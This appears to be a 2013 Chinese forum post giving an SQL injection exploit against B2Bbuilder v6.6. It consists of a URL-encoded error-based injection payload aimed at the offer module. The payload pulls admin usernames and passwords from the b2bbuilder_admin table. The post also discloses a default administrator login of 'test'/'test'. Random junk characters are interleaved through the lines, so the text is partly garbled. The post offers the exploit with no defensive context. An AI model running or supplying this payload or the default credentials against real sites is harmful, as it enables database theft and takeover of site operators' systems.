测试的程序版本为：B2Bbuilder_v6.6* ~ L7 O, z- ~9 R# ? q
/ ?. \$ M9 b) |( `, Y3 E: n: p3 w ) ?8 \6 k* ]6 R$ m9 T2 K, g
http://www.site.com/?m=offer& ... m%28select+count%28*%29%2Cconcat%28%28/ _1 w0 f. E- n4 d9 O
select+%28select+%28select+concat%280x27%2C0x7e%2Cb2bbuilder_admin.user,0x27,password4 b8 R& Y0 X. v6 v. e* R
%2C0x27%2C0x7e%29+from+%60b2bbuilder%60.b2bbuilder_admin+Order+by+user+limit+0%2C1- D; U$ U8 M H3 U1 V. |- ~
%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29
7 H& L C2 H5 y0 n*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+1%3D19 m6 ^( K# @/ C& J0 t, n* A! G% m
0 y8 {1 `1 H* ?
这个B2B程序还有一个默认的管理员帐号，帐号密码都是test
" c, o5 I% _7 K9 d) e8 I8 `
' Y7 [* `. K. P1 z# m |
发表于 2013-7-26 12:44:48
收藏
支持
反对